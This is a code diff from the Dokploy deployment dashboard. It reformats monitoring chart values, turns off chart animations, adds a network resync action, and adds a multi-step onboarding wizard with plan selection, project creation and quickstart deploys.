@@ -73,13 +74,14 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => { }} formatter={(value, name) => { const label = name === "inMB" ? "In" : "Out"; - return [`${value} MB`, label]; + return [formatMb(Number(value)), label]; }} /> } /> { /> { + if (!appName) return; + const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; const wsUrl = `${protocol}//${window.location.host}/listen-docker-stats-monitoring?appName=${appName}&appType=${appType}`; const ws = new WebSocket(wsUrl); @@ -195,7 +199,9 @@ export const ContainerFreeMonitoring = ({ }; ws.onclose = (e) => { - console.log(e.reason); + if (e.reason) { + toast.error(e.reason); + } }; return () => ws.close(); @@ -305,7 +311,7 @@ export const ContainerFreeMonitoring = ({
- {`Read: ${currentData.block.value.readMb} / Write: ${currentData.block.value.writeMb} `} + {`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
@@ -318,7 +324,7 @@ export const ContainerFreeMonitoring = ({
- {`In MB: ${currentData.network.value.inputMb} / Out MB: ${currentData.network.value.outputMb} `} + {`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx index eca265765..5b378c20d 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx @@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => { name="Write" dataKey="write" type="monotone" + isAnimationActive={false} fill="url(#fillWrite)" stroke="hsl(142, 71%, 45%)" strokeWidth={2} @@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => { name="Read" dataKey="read" type="monotone" + isAnimationActive={false} fill="url(#fillRead)" stroke="hsl(217, 91%, 60%)" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx index 5a4996ba2..e4c96df2e 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx @@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => { name="CPU" dataKey="cpu" type="monotone" + isAnimationActive={false} fill="url(#fillCPU)" stroke="hsl(var(--chart-1))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx index 23d934c06..22a9e4ac7 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx @@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => { name="Memory" dataKey="memory" type="monotone" + isAnimationActive={false} fill="url(#fillMemory)" stroke="hsl(var(--chart-2))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx index f9f033b36..de869614d 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx @@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => { name="Input" dataKey="input" type="monotone" + isAnimationActive={false} fill="url(#fillInput)" stroke="hsl(var(--chart-3))" strokeWidth={2} @@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => { name="Output" dataKey="output" type="monotone" + isAnimationActive={false} fill="url(#fillOutput)" stroke="hsl(var(--chart-4))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx index 2ac560ce6..4d29c56b9 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx @@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) { name="CPU" dataKey="cpu" type="monotone" + isAnimationActive={false} fill="url(#fillCPU)" stroke="hsl(var(--chart-1))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx index b54208652..920ae9a2d 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx @@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) { yAxisId="left" dataKey="memUsed" type="monotone" + isAnimationActive={false} fill="url(#fillMemory)" stroke="hsl(var(--chart-2))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx index 11eec853b..8f72f2fca 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx @@ -19,6 +19,11 @@ interface NetworkChartProps { data: any[]; } +function formatNetworkGB(valueInMB: number) { + if (Number.isNaN(valueInMB)) return "0"; + return (valueInMB / 1024).toFixed(1); +} + const chartConfig = { networkIn: { label: "Network In", @@ -38,8 +43,8 @@ export function NetworkChart({ data }: NetworkChartProps) { Network - Network Traffic: ↑ {latestData.networkOut} KB/s ↓{" "} - {latestData.networkIn} KB/s + Network Total: ↑ {formatNetworkGB(latestData.networkOut)} GB ↓{" "} + {formatNetworkGB(latestData.networkIn)} GB (since Boot) @@ -83,7 +88,7 @@ export function NetworkChart({ data }: NetworkChartProps) { minTickGap={32} tickFormatter={(value) => formatTimestamp(value)} /> - `${value} KB/s`} /> + `${formatNetworkGB(value)} GB`} /> { @@ -105,8 +110,8 @@ export function NetworkChart({ data }: NetworkChartProps) { Network - ↑ {data.networkOut} KB/s -
↓ {data.networkIn} KB/s + ↑ {formatNetworkGB(data.networkOut)} GB +
↓ {formatNetworkGB(data.networkIn)} GB
@@ -120,6 +125,7 @@ export function NetworkChart({ data }: NetworkChartProps) { name="Network In" dataKey="networkIn" type="monotone" + isAnimationActive={false} fill="url(#fillNetworkIn)" stroke="hsl(var(--chart-3))" strokeWidth={2} @@ -128,6 +134,7 @@ export function NetworkChart({ data }: NetworkChartProps) { name="Network Out" dataKey="networkOut" type="monotone" + isAnimationActive={false} fill="url(#fillNetworkOut)" stroke="hsl(var(--chart-4))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/networks/sync-networks.tsx b/apps/dokploy/components/dashboard/networks/sync-networks.tsx index 2a0403048..c6336da72 100644 --- a/apps/dokploy/components/dashboard/networks/sync-networks.tsx +++ b/apps/dokploy/components/dashboard/networks/sync-networks.tsx @@ -34,6 +34,7 @@ export const SyncNetworks = ({ serverId }: Props) => { const importMutation = api.network.import.useMutation(); const removeMutation = api.network.remove.useMutation(); const recreateMutation = api.network.recreate.useMutation(); + const resyncMutation = api.network.resync.useMutation(); const toggleSelected = (name: string) => { setSelected((prev) => { @@ -102,6 +103,20 @@ export const SyncNetworks = ({ serverId }: Props) => { } }; + const onResync = async (networkId: string, name: string) => { + try { + await resyncMutation.mutateAsync({ networkId }); + toast.success(`Network "${name}" updated from Docker`); + await utils.network.all.invalidate(); + await utils.network.networksToSync.invalidate(); + await refetch(); + } catch (error) { + toast.error("Error updating network", { + description: error instanceof Error ? error.message : "Unknown error", + }); + } + }; + return ( { )}
+ {!!data?.changed.length && ( + <> + +
+ + Changed ({data.changed.length}) + + + These networks were deleted and recreated in Docker under + the same name — attributes in Dokploy are outdated. + + {data.changed.map((changed) => ( +
+
+ {changed.name} + {changed.driver && ( + {changed.driver} + )} +
+ +
+ ))} +
+ + )} + {!!data?.missing.length && ( <> diff --git a/apps/dokploy/components/dashboard/onboarding/font.ts b/apps/dokploy/components/dashboard/onboarding/font.ts new file mode 100644 index 000000000..7f8021e06 --- /dev/null +++ b/apps/dokploy/components/dashboard/onboarding/font.ts @@ -0,0 +1,8 @@ +import { Fraunces } from "next/font/google"; + +export const displayFont = Fraunces({ + subsets: ["latin"], + weight: ["600"], + style: ["normal", "italic"], + display: "swap", +}); diff --git a/apps/dokploy/components/dashboard/onboarding/onboarding-lock.ts b/apps/dokploy/components/dashboard/onboarding/onboarding-lock.ts new file mode 100644 index 000000000..2536233df --- /dev/null +++ b/apps/dokploy/components/dashboard/onboarding/onboarding-lock.ts @@ -0,0 +1,49 @@ +const ONBOARDING_ACTIVE_KEY = "dokploy_onboarding_active"; +const ONBOARDING_STATE_KEY = "dokploy_onboarding_state"; + +interface OnboardingState { + stepId?: string; + projectId?: string; + environmentId?: string; +} + +export const isOnboardingActive = () => { + if (typeof window === "undefined") return false; + try { + return window.localStorage.getItem(ONBOARDING_ACTIVE_KEY) === "true"; + } catch { + return false; + } +}; + +export const markOnboardingActive = () => { + try { + window.localStorage.setItem(ONBOARDING_ACTIVE_KEY, "true"); + } catch {} +}; + +export const clearOnboardingActive = () => { + try { + window.localStorage.removeItem(ONBOARDING_ACTIVE_KEY); + window.localStorage.removeItem(ONBOARDING_STATE_KEY); + } catch {} +}; + +export const getOnboardingState = (): OnboardingState => { + if (typeof window === "undefined") return {}; + try { + const raw = window.localStorage.getItem(ONBOARDING_STATE_KEY); + return raw ? JSON.parse(raw) : {}; + } catch { + return {}; + } +}; + +export const setOnboardingState = (state: OnboardingState) => { + try { + window.localStorage.setItem( + ONBOARDING_STATE_KEY, + JSON.stringify({ ...getOnboardingState(), ...state }), + ); + } catch {} +}; diff --git a/apps/dokploy/components/dashboard/onboarding/onboarding-wizard.tsx b/apps/dokploy/components/dashboard/onboarding/onboarding-wizard.tsx new file mode 100644 index 000000000..95780bf63 --- /dev/null +++ b/apps/dokploy/components/dashboard/onboarding/onboarding-wizard.tsx @@ -0,0 +1,296 @@ +import { defineStepper } from "@stepperize/react"; +import { CheckIcon } from "lucide-react"; +import Link from "next/link"; +import { useRouter } from "next/router"; +import { useEffect, useState } from "react"; +import { GithubIcon } from "@/components/icons/data-tools-icons"; +import { Logo } from "@/components/shared/logo"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, +} from "@/components/ui/dialog"; +import { api } from "@/utils/api"; +import { getOnboardingState, setOnboardingState } from "./onboarding-lock"; +import { CompleteStep } from "./steps/complete-step"; +import { DeployStep } from "./steps/deploy-step"; +import { PlanStep } from "./steps/plan-step"; +import { ProjectStep } from "./steps/project-step"; +import { ServerStep } from "./steps/server-step"; +import { WelcomeStep } from "./steps/welcome-step"; + +const { useStepper, steps, Scoped } = defineStepper( + { id: "welcome", title: "Welcome" }, + { id: "plan", title: "Pick a plan" }, + { id: "project", title: "New project" }, + { id: "server", title: "Connect server" }, + { id: "deploy", title: "Ship something" }, + { id: "complete", title: "You're live" }, +); + +type StepId = (typeof steps)[number]["id"]; +const isStepId = (id: string | undefined): id is StepId => + !!id && steps.some((step) => step.id === id); + +interface Props { + onClose: () => void | Promise; +} + +export const OnboardingWizard = ({ onClose }: Props) => { + const router = useRouter(); + const persisted = getOnboardingState(); + const stepper = useStepper( + isStepId(persisted.stepId) ? persisted.stepId : undefined, + ); + const [projectId, setProjectId] = useState( + persisted.projectId, + ); + const [environmentId, setEnvironmentId] = useState( + persisted.environmentId, + ); + + const { data: isCloud = true } = api.settings.isCloud.useQuery(); + const visibleStepIds = isCloud + ? steps.map((step) => step.id) + : steps + .filter((step) => step.id !== "plan" && step.id !== "server") + .map((step) => step.id); + const visibleIndex = visibleStepIds.indexOf(stepper.current.id); + const isLastVisible = visibleIndex === visibleStepIds.length - 1; + const goToNextVisible = () => { + const nextId = visibleStepIds[visibleIndex + 1]; + if (nextId) stepper.goTo(nextId); + }; + + const [skipAllOpen, setSkipAllOpen] = useState(false); + const handleSkipAll = async () => { + await onClose(); + router.push( + projectId && environmentId + ? `/dashboard/project/${projectId}/environment/${environmentId}` + : "/dashboard/projects", + ); + }; + + useEffect(() => { + setOnboardingState({ stepId: stepper.current.id }); + }, [stepper.current.id]); + + const { error: projectCheckError } = api.project.one.useQuery( + { projectId: projectId ?? "" }, + { enabled: !!projectId, retry: false }, + ); + useEffect(() => { + if (!projectCheckError || !projectId) return; + setProjectId(undefined); + setEnvironmentId(undefined); + setOnboardingState({ projectId: undefined, environmentId: undefined }); + stepper.goTo("project"); + }, [projectCheckError, projectId]); + + return ( + <> +
+ + +
+
+ {stepper.switch({ + welcome: () => , + plan: () => , + project: () => ( + { + setProjectId(project.projectId); + setEnvironmentId(project.environmentId); + setOnboardingState({ + projectId: project.projectId, + environmentId: project.environmentId, + }); + goToNextVisible(); + }} + /> + ), + server: () => , + deploy: () => ( + + ), + complete: () => ( + + ), + })} +
+
+
+ + + + + Skip onboarding? + + If this is your first time using Dokploy, we recommend going + through these steps – it only takes a couple of minutes and gives + you a feel for how projects, servers, and deployments fit + together. + + + + + + + + + + ); +}; diff --git a/apps/dokploy/components/dashboard/onboarding/steps/complete-step.tsx b/apps/dokploy/components/dashboard/onboarding/steps/complete-step.tsx new file mode 100644 index 000000000..7378ab57d --- /dev/null +++ b/apps/dokploy/components/dashboard/onboarding/steps/complete-step.tsx @@ -0,0 +1,133 @@ +import { + BookIcon, + DatabaseIcon, + GitMergeIcon, + GlobeIcon, + UsersIcon, +} from "lucide-react"; +import Link from "next/link"; +import { useRouter } from "next/router"; +import { useEffect, useState } from "react"; +import ConfettiExplosion from "react-confetti-explosion"; +import { Button } from "@/components/ui/button"; +import { displayFont } from "../font"; + +interface Props { + projectId?: string; + environmentId?: string; + onFinish: () => void | Promise; +} + +const features = [ + { + icon: DatabaseIcon, + title: "Databases", + description: "Postgres, MySQL, MongoDB, Redis and more, one click away.", + }, + { + icon: GlobeIcon, + title: "Custom domains", + description: "Attach your own domains and get automatic HTTPS.", + }, + { + icon: GitMergeIcon, + title: "CI/CD", + description: "Auto-deploy on every push from GitHub, GitLab or Bitbucket.", + }, + { + icon: UsersIcon, + title: "Team collaboration", + description: "Invite teammates with fine-grained permissions.", + }, +]; + +export const CompleteStep = ({ projectId, environmentId, onFinish }: Props) => { + const router = useRouter(); + const [showConfetti, setShowConfetti] = useState(false); + const [isFinishing, setIsFinishing] = useState(false); + + useEffect(() => { + setShowConfetti(true); + }, []); + + const projectHref = + projectId && environmentId + ? `/dashboard/project/${projectId}/environment/${environmentId}` + : "/dashboard/projects"; + + const handleFinish = async () => { + setIsFinishing(true); + await onFinish(); + router.push(projectHref); + }; + + return ( +
+
+ {showConfetti && ( + + )} +
+ +
+ + Done + +

+ You're all set. +

+

+ This is just the beginning — here's some of what else you can do. +

+
+ +
+ {features.map((feature, index) => ( +
+
+ {String(index + 1).padStart(2, "0")} +
+
+ + + {feature.title} + + + {feature.description} + +
+
+ ))} +
+ +
+ + +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/onboarding/steps/deploy-step.tsx b/apps/dokploy/components/dashboard/onboarding/steps/deploy-step.tsx new file mode 100644 index 000000000..141aef2d3 --- /dev/null +++ b/apps/dokploy/components/dashboard/onboarding/steps/deploy-step.tsx @@ -0,0 +1,295 @@ +import copy from "copy-to-clipboard"; +import { + ArrowUpRightIcon, + CheckCircle2, + CopyIcon, + Loader2, + XCircleIcon, +} from "lucide-react"; +import { useState } from "react"; +import { toast } from "sonner"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Button } from "@/components/ui/button"; +import { api } from "@/utils/api"; +import { displayFont } from "../font"; + +interface Props { + environmentId?: string; + onNext: () => void; + /** Drops the onboarding wizard's display serif for callers (e.g. the + * post-checkout welcome modal) that want the app's regular typography. */ + plainTitle?: boolean; +} + +const CURATED_TEMPLATES = [ + { id: "wordpress", name: "WordPress", logo: "wordpress.png" }, + { id: "ghost", name: "Ghost", logo: "ghost.jpeg" }, + { id: "n8n", name: "n8n", logo: "n8n.png" }, + { id: "uptime-kuma", name: "Uptime Kuma", logo: "uptime-kuma.png" }, +]; + +type Deploying = { kind: "app" | "template"; id: string; url: string }; + +export const DeployStep = ({ environmentId, onNext, plainTitle }: Props) => { + const titleClassName = plainTitle + ? "text-xl font-semibold tracking-tight" + : `${displayFont.className} text-4xl sm:text-5xl leading-[1.05] tracking-tight`; + const { data: isCloud = true } = api.settings.isCloud.useQuery(); + const { data: servers } = api.server.withSSHKey.useQuery(); + const serverId = servers?.[0]?.serverId; + + const [deploying, setDeploying] = useState(null); + const [starting, setStarting] = useState(null); + + const { mutateAsync: deployNginx } = + api.application.deployNginxQuickstart.useMutation(); + const { mutateAsync: deployTemplate } = + api.compose.deployTemplate.useMutation(); + const { mutateAsync: deployCompose } = api.compose.deploy.useMutation(); + const utils = api.useUtils(); + + const { data: application } = api.application.one.useQuery( + { applicationId: deploying?.id ?? "" }, + { + enabled: deploying?.kind === "app", + refetchInterval: (query) => { + const status = query.state.data?.applicationStatus; + return status === "done" || status === "error" ? false : 2500; + }, + }, + ); + const { data: compose } = api.compose.one.useQuery( + { composeId: deploying?.id ?? "" }, + { + enabled: deploying?.kind === "template", + refetchInterval: (query) => { + const status = query.state.data?.composeStatus; + return status === "done" || status === "error" ? false : 2500; + }, + }, + ); + + const status = + deploying?.kind === "app" + ? application?.applicationStatus + : compose?.composeStatus; + + if (!environmentId || (isCloud && !serverId)) { + return ( +
+
+ + First deploy + +

Deploy something.

+
+ + {isCloud + ? "You'll need a project and a connected server before deploying — you can do that anytime from the dashboard." + : "You'll need a project before deploying — you can do that anytime from the dashboard."} + + +
+ ); + } + + const handleNginx = async () => { + setStarting("nginx"); + try { + const res = await deployNginx({ environmentId, serverId }); + setDeploying({ kind: "app", id: res.applicationId, url: res.domainUrl }); + } catch (error) { + toast.error( + error instanceof Error ? error.message : "Error deploying the app", + ); + } finally { + setStarting(null); + } + }; + + const handleTemplate = async (id: string) => { + setStarting(id); + try { + const composeResult = await deployTemplate({ + environmentId, + serverId, + id, + }); + await deployCompose({ composeId: composeResult.composeId }); + const domains = await utils.domain.byComposeId.fetch({ + composeId: composeResult.composeId, + }); + const host = domains?.[0]?.host; + setDeploying({ + kind: "template", + id: composeResult.composeId, + url: host ? `http://${host}` : "", + }); + } catch (error) { + toast.error( + error instanceof Error ? error.message : "Error deploying the template", + ); + } finally { + setStarting(null); + } + }; + + if (deploying) { + const isDone = status === "done"; + const isError = status === "error"; + + return ( +
+
+ + {isDone ? ( + + ) : isError ? ( + + ) : ( + + )} + {isDone ? "Live" : isError ? "Deploy failed" : "Deploying"} + +

+ {isDone + ? "It's live." + : isError + ? "Something went wrong." + : "Building your app..."} +

+

+ {isDone + ? "Your app is up and reachable at:" + : isError + ? "The deployment failed — you can check the logs from the dashboard later." + : "This usually takes a minute or two the first time."} +

+
+ + {isDone && deploying.url ? ( +
+
+ + + Reachable now + +
+
+ + {deploying.url} + +
+ + +
+
+
+ ) : !isDone && !isError ? ( +
+
+ + Waiting for the build to finish... +
+
+ ) : null} + + +
+ ); + } + + return ( +
+
+ + First deploy + +

Ship something.

+

+ Pick a quickstart — we'll generate a domain and deploy it for you. +

+
+ +
+ + +
+
+

Docker Compose template

+

+ Popular open source stacks, one click away. +

+
+
+ {CURATED_TEMPLATES.map((template) => ( + + ))} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/onboarding/steps/plan-step.tsx b/apps/dokploy/components/dashboard/onboarding/steps/plan-step.tsx new file mode 100644 index 000000000..9863aaf38 --- /dev/null +++ b/apps/dokploy/components/dashboard/onboarding/steps/plan-step.tsx @@ -0,0 +1,188 @@ +import { loadStripe } from "@stripe/stripe-js"; +import { ArrowRightIcon, CheckIcon } from "lucide-react"; +import { useState } from "react"; +import { toast } from "sonner"; +import { + calculatePriceHobby, + calculatePriceStartup, + STARTUP_SERVERS_INCLUDED, +} from "@/components/dashboard/settings/billing/show-billing"; +import { Button } from "@/components/ui/button"; +import { api } from "@/utils/api"; +import { displayFont } from "../font"; + +const stripePromise = loadStripe( + process.env.NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY!, +); + +type Tier = "hobby" | "startup"; + +const PLANS: { + tier: Tier; + name: string; + description: string; + price: number; + features: string[]; + recommended?: boolean; +}[] = [ + { + tier: "hobby", + name: "Hobby", + description: "For individual developers", + price: calculatePriceHobby(1, false), + features: [ + "Setup 1 server", + "Unlimited apps & databases", + "2 environments", + "Community support", + ], + }, + { + tier: "startup", + name: "Startup", + description: "For small to mid-size teams", + price: calculatePriceStartup(STARTUP_SERVERS_INCLUDED, false), + recommended: true, + features: [ + `Setup up to ${STARTUP_SERVERS_INCLUDED} servers`, + "Unlimited users & environments", + "Basic RBAC + 2FA", + "Email & chat support", + ], + }, +]; + +interface Props { + onNext: () => void; +} + +export const PlanStep = ({ onNext }: Props) => { + const [loading, setLoading] = useState< + `${"trial" | "checkout"}:${Tier}` | null + >(null); + const { data } = api.stripe.getProducts.useQuery(); + const { mutateAsync: createCheckoutSession } = + api.stripe.createCheckoutSession.useMutation(); + const { mutateAsync: startFreeTrial } = + api.stripe.startFreeTrial.useMutation(); + const utils = api.useUtils(); + + const handleCheckout = async (tier: Tier) => { + if (!data) return; + const productId = + tier === "hobby" ? data.hobbyProductId : data.startupProductId; + if (!productId) return; + setLoading(`checkout:${tier}`); + try { + const stripe = await stripePromise; + const session = await createCheckoutSession({ + tier, + productId, + serverQuantity: tier === "startup" ? STARTUP_SERVERS_INCLUDED : 1, + isAnnual: false, + }); + await stripe?.redirectToCheckout({ sessionId: session.sessionId }); + } catch { + toast.error("Error starting checkout"); + setLoading(null); + } + }; + + const handleTrial = async (tier: Tier) => { + setLoading(`trial:${tier}`); + try { + await startFreeTrial({ tier }); + await utils.project.onboardingStatus.invalidate(); + toast.success("Your 7-day trial has started"); + onNext(); + } catch (error) { + toast.error( + error instanceof Error ? error.message : "Error starting trial", + ); + } finally { + setLoading(null); + } + }; + + return ( +
+
+ + Billing + +

+ Start free, upgrade when ready. +

+

+ Try any plan free for 7 days. No credit card required — add one only + if you decide to stay. +

+
+ +
+ {PLANS.map((plan) => { + const productId = + plan.tier === "hobby" + ? data?.hobbyProductId + : data?.startupProductId; + return ( +
+
+ {plan.recommended && ( + + Recommended + + )} +

{plan.name}

+

+ {plan.description} +

+

+ ${plan.price.toFixed(2)} + + {" "} + /mo + +

+
    + {plan.features.map((f) => ( +
  • + + {f} +
  • + ))} +
+
+
+ + +
+
+ ); + })} +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/onboarding/steps/project-step.tsx b/apps/dokploy/components/dashboard/onboarding/steps/project-step.tsx new file mode 100644 index 000000000..ccc43b030 --- /dev/null +++ b/apps/dokploy/components/dashboard/onboarding/steps/project-step.tsx @@ -0,0 +1,118 @@ +import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema"; +import { useForm } from "react-hook-form"; +import { toast } from "sonner"; +import { z } from "zod"; +import { Button } from "@/components/ui/button"; +import { + Form, + FormControl, + FormField, + FormItem, + FormLabel, + FormMessage, +} from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { Textarea } from "@/components/ui/textarea"; +import { api } from "@/utils/api"; +import { displayFont } from "../font"; + +const schema = z.object({ + name: z.string().min(1, "Name is required"), + description: z.string().optional(), +}); +type Schema = z.infer; + +interface Props { + onNext: (project: { projectId: string; environmentId: string }) => void; + /** Drops the onboarding wizard's display serif for callers (e.g. the + * post-checkout welcome modal) that want the app's regular typography. */ + plainTitle?: boolean; +} + +export const ProjectStep = ({ onNext, plainTitle }: Props) => { + const titleClassName = plainTitle + ? "text-xl font-semibold tracking-tight" + : `${displayFont.className} text-4xl sm:text-5xl leading-[1.05] tracking-tight`; + const { mutateAsync, isPending } = api.project.create.useMutation(); + const utils = api.useUtils(); + + const form = useForm({ + defaultValues: { name: "My First Project", description: "" }, + resolver: zodResolver(schema), + }); + + const onSubmit = async (data: Schema) => { + try { + const result = await mutateAsync(data); + await utils.project.all.invalidate(); + toast.success("Project created"); + onNext({ + projectId: result.project.projectId, + environmentId: result.environment?.environmentId ?? "", + }); + } catch (error) { + toast.error( + error instanceof Error ? error.message : "Error creating the project", + ); + } + }; + + return ( +
+
+ + Workspace + +

Create your first project.

+

+ Projects group your apps, databases, and environments together. +

+
+ +
+ + ( + + Name + + + + + + )} + /> + ( + + Description (optional) + +